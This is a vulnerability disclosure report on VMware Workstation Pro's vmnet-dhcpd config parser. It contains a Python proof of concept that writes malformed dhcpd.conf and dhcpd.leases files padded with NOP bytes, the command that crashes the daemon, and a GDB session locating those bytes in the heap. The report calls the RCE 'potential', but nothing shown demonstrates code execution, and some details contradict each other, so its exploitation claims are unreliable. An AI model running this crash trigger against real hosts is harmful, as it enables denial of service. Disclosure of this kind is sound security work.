Vulnerability Report: Null pointer de-reference in Vmware Workstation Pro when parsing malformed file leads to heap code injection vmnet-dhcpd leading to potential RCE

Date: 11th December 2025
Author: Brian Mariani – DigitalCanion SA
Email: bm@digitalcanion.com
Affected Vendor: Broadcom / VMware
Affected Product(s): Vmware Workstation Pro 17.6.4 build-24832109 (vmnet-dhcpd component, legacy ISC DHCP ~2.0) and probably Windows version same version-
Tested Version(s): Vmware 17.6.4 , probably older version too
Environment: Linux host (x86_64), observed via proof of concept and GDB

Executive Summary

A null pointer de-reference was identified in the vmnet-dhcpd component used in Workstation Pro 17, and probably other Vmware products. The vulnerability is triggered when parsing a crafted dhcpd.conf and dhcpd.leases configuration files containing a null or crafted configuration file and lease file, leading to a Denial of Service (DoS) via SIGSEGV or potential Remote Code Execution (RCE) via heap manipulation.

Technical Details

The vmnet-dhcpd binary, responsible for DHCP in VMware's virtual networks, parses configs files (dhcpd.conf and dhcpd.leases). The parser does not correctly parses configuration on afforementioned files. If the character "#" is respeted as the first character on each and every crafted line it's possibke to inject malicious data (e.g., NOP sled) that remains referenced in memory, enabling potential shellcode for code execution. Following python script to create the crafted files that trigger the flaw:

```
# Number of lines to write in the file
num_lines = 6  # You want 6 lines

# Length of the \x90 sequence after \x23
length_per_line = 50  # 50 occurrences of \x90 after \x23

# Open the file in binary mode to write
with open("dhcpd.conf", "wb") as f:
    for _ in range(num_lines):
        # Each line starts with \x23 followed by 'length_per_line' occurrences of \x90
        line = b"\x23" + b"\x90" * length_per_line
        f.write(line)  # Write the line without a newline character
print("File written successfully.")
```

```
# Number of lines to write in the file
num_lines = 6  # You want 6 lines

# Length of the \x90 sequence after \x23
length_per_line = 50  # 50 occurrences of \x90 after \x23

# Open the file in binary mode to write
```

```
with open("dhcpd.leases", "wb") as f:
    for _ in range(num_lines):
        # Each line starts with \x23 followed by 'length_per_line' occurrences of \x90
        line = b"\x23" + b"\x90" * length_per_line
        f.write(line)  # Write the line without a newline character
print("File written successfully.")
```

Triggering the memory corruption

callAX@gentlemen:~/UAF/ANALYSE$ /usr/bin/vmnet-dhcpd -s 12 -cf

/home/callAX/UAF/ANALYSE/dhcpd.conf -lf /home/callAX/UAF/ANALYSE/dhcpd.leases -pf

/var/run/vmnet-dhcpd-vmnet8.pid vmnet1

callAX@gentlemen**: ~/ Segmentation fault**

Tracing with GBD:

callAX@gentlemen:~/UAF/ANALYSE$ **gdb --args /usr/bin/vmnet-dhcpd -s 12 -cf /home/callAX/UAF/ANALYSE/dhcpd.conf -lf /home/callAX/UAF/ANALYSE/dhcpd.leases -pf /var/run/vmnet-dhcpd-vmnet8.pid vmnet1**

GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git

Copyright (C) 2024 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86_64-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

<https://www.gnu.org/software/gdb/bugs/>.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from /usr/bin/vmnet-dhcpd...

This GDB supports auto-downloading debuginfo from the following URLs:

<https://debuginfod.ubuntu.com>

Enable debuginfod for this session? (y or [n]) y

Debuginfod has been enabled.

To make this setting permanent, add 'set debuginfod enabled on' to .gdbinit. Downloading separate debug info for /usr/bin/vmnet-dhcpd

(No debugging symbols found in /usr/bin/vmnet-dhcpd)

(gdb) b fopen

Function "fopen" not defined.

Make breakpoint pending on future shared library load? (y or [n]) y

Breakpoint 1 (fopen) pending.

(gdb) run

Starting program: /usr/bin/vmnet-dhcpd -s 12 -cf /home/callAX/UAF/ANALYSE/dhcpd.conf -lf

/home/callAX/UAF/ANALYSE/dhcpd.leases -pf /var/run/vmnet-dhcpd-vmnet8.pid vmnet1

Downloading separate debug info for system-supplied DSO at 0x7ffff7fc3000

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Download failed: Invalid argument. Continuing without source file ./libio/./libio/iofopen.c.

Internet Software Consortium DHCP Server 2.0

Copyright 1995, 1996, 1997, 1998, 1999 The Internet Software Consortium.

All rights reserved.

Please contribute if you find this software useful.

For info, please visit http://www.isc.org/dhcp-contrib.html

Download failed: Invalid argument. Continuing without source file ./libio/./libio/iofopen.c.

Breakpoint 1, _IO_new_fopen (filename=filename@entry=0x7ffff7dced92 "/etc/nsswitch.conf",

mode=mode@entry=0x7ffff7dcadb4 "rce") at ./libio/iofopen.c:85warning: 85

./libio/iofopen.c: No such file or directory

(gdb) finish

Run till exit from #0 _IO_new_fopen (filename=filename@entry=0x7ffff7dced92

"/etc/nsswitch.conf", mode=mode@entry=0x7ffff7dcadb4 "rce")

at ./libio/iofopen.c:85

Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_database.c.

0x00007ffff7d524ad in nss_database_reload (initial=0x7fffffffd760, staging=0x7fffffffd820) at

./nss/nss_database.c:307

warning: 307 ./nss/nss_database.c: No such file or directory

Value returned is $1 = (FILE *) 0x55555566e520

(gdb) c

Continuing.

Download failed: Invalid argument. Continuing without source file ./libio/./libio/iofopen.c.

Breakpoint 1, _IO_new_fopen (filename=filename@entry=0x7ffff7dcf32c "/etc/services",

mode=mode@entry=0x7ffff7dcadb4 "rce") at ./libio/iofopen.c:85

warning: 85

./libio/iofopen.c: No such file or directory

(gdb) finish

Run till exit from #0 _IO_new_fopen (filename=filename@entry=0x7ffff7dcf32c "/etc/services",

mode=mode@entry=0x7ffff7dcadb4 "rce")

at ./libio/iofopen.c:85

Download failed: Invalid argument. Continuing without source file ./nss/./nss/nss_files_fopen.c.

__GI___nss_files_fopen (path=path@entry=0x7ffff7dcf32c "/etc/services") at

./nss/nss_files_fopen.c:28

warning: 28

./nss/nss_files_fopen.c: No such file or directory

Value returned is $2 = (FILE *) 0x55555566e520

(gdb) c

Continuing.

Downloading separate debug info for /lib/x86_64-linux-gnu/libnss_sss.so.2

Download failed: Invalid argument. Continuing without source file ./libio/./libio/iofopen.c.

Download failed: Invalid argument. Continuing without source file ./libio/./libio/iofopen.c.

Breakpoint 1, _IO_new_fopen (filename=0x55555566eef0

"/home/callAX/UAF/ANALYSE/dhcpd.conf", mode=0x5555555f35d3 "r") at ./libio/iofopen.c:85warning: 85

./libio/iofopen.c: No such file or directory

(gdb) b memcpy@plt

Breakpoint 2 at 0x555555570670 (2 locations)

(gdb) break *0x000055555557eceb

Breakpoint 3 at 0x55555557eceb

(gdb) finish

Run till exit from #0 _IO_new_fopen (filename=0x55555566eef0

"/home/callAX/UAF/ANALYSE/dhcpd.conf", mode=0x5555555f35d3 "r") at ./libio/iofopen.c:85

0x00005555555902ae in ?? ()

Value returned is $3 = (FILE *) 0x55555566e520

(gdb) c

Continuing.

Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()

(gdb) finish

Run till exit from #0 0x0000555555570670 in memcpy@plt ()

0x00005555555827ec in ?? ()

```
(gdb) c
Continuing.
Breakpoint 1, _IO_new_fopen (filename=0x55555566eef0
"/home/callAX/UAF/ANALYSE/dhcpd.leases", mode=0x5555555f35d3 "r") at ./libio/iofopen.c:85
85
in ./libio/iofopen.c
(gdb) finish
Run till exit from #0 _IO_new_fopen (filename=0x55555566eef0
"/home/callAX/UAF/ANALYSE/dhcpd.leases", mode=0x5555555f35d3 "r")
at ./libio/iofopen.c:85
0x00005555555902ae in ?? ()
Value returned is $4 = (FILE *) 0x55555566e520
(gdb) c
Continuing.
Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()(gdb) finish
Run till exit from #0 0x0000555555570670 in memcpy@plt ()
0x00005555555951e3 in ?? ()
(gdb) c
Continuing.
Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()
(gdb) finish
Run till exit from #0 0x0000555555570670 in memcpy@plt ()
0x00005555555951e3 in ?? ()
(gdb) c
Continuing.
Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()
(gdb) finish
Run till exit from #0 0x0000555555570670 in memcpy@plt ()
0x00005555555827ec in ?? ()
(gdb) c
Continuing.
Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()
(gdb) finish
Run till exit from #0 0x0000555555570670 in memcpy@plt ()
0x00005555555827ec in ?? ()
```

(gdb) c

Continuing.

Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()

(gdb) finish

Run till exit from #0 0x0000555555570670 in memcpy@plt ()

0x00005555555827ec in ?? ()

(gdb) c

Continuing.

Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()

(gdb) finishRun till exit from #0 0x0000555555570670 in memcpy@plt ()

0x00005555555951e3 in ?? ()

(gdb) c

Continuing.

Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()

(gdb) c

Continuing.

Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()

(gdb) c

Continuing.

Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()

(gdb) c

Continuing.

Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()

(gdb) finish

Run till exit from #0 0x0000555555570670 in memcpy@plt ()

0x00005555555827ec in ?? ()

(gdb) c

Continuing.

Breakpoint 2.1, 0x0000555555570670 in memcpy@plt ()

(gdb) finish

Run till exit from #0 0x0000555555570670 in memcpy@plt ()

0x00005555555827ec in ?? ()

(gdb) c

Continuing.

Pattern not found.

(gdb) find 0x55555566d000,

0x555555674181

..

0x55555568e000,

0x909090900x55555567419b

--Type <RET> for more, q to quit, c to continue without paging--q

Quit

(gdb) x/120x 0x555555674181

0x555555674181:0x90909090 0x90909090 0x90909090 0x90909090

0x555555674191:0x90909090 0x90909090 0x90909090 0x230a9090

0x5555556741a1:0x90909090 0x90909090 0x90909090 0x90909090

0x5555556741b1:0x90909090 0x90909090 0x90909090 0x90909090

0x5555556741c1:0x90909090 0x90909090 0x90909090 0x90909090

0x5555556741d1:0x90909090 0x000a9090 0x00000000 0x00000000

0x5555556741e1:0x00000000 0x00000000 0x00000000 0x00000000

0x5555556741f1:0x00000000 0x00000000 0x00000000 0x00000000

0x555555674201:0x00000000 0x00000000 0x00000000 0x00000000

0x555555674211:0x00000000 0x00000000 0x00000000 0x00000000

0x555555674221:0x00000000 0x00000000 0x00000000 0x00000000

0x555555674231:0x00000000 0x00000000 0x00000000 0x00000000

(gdb) x/20x 0x555555674181

0x555555674181:0x90909090 0x90909090 0x90909090 0x90909090

0x555555674191:0x90909090 0x90909090 0x90909090 0x230a9090

0x5555556741a1:0x90909090 0x90909090 0x90909090 0x90909090

0x5555556741b1:0x90909090 0x90909090 0x90909090 0x90909090

0x5555556741c1:0x90909090 0x90909090 0x90909090 0x90909090

(gdb) x/40x 0x555555674181

0x555555674181:0x90909090 0x90909090 0x90909090 0x90909090

0x555555674191:0x90909090 0x90909090 0x90909090 0x230a9090

0x5555556741a1:0x90909090 0x90909090 0x90909090 0x90909090

0x5555556741b1:0x90909090 0x90909090 0x90909090 0x90909090

0x5555556741c1:0x90909090 0x90909090 0x90909090 0x90909090

0x5555556741d1:0x90909090 0x000a9090 0x00000000 0x00000000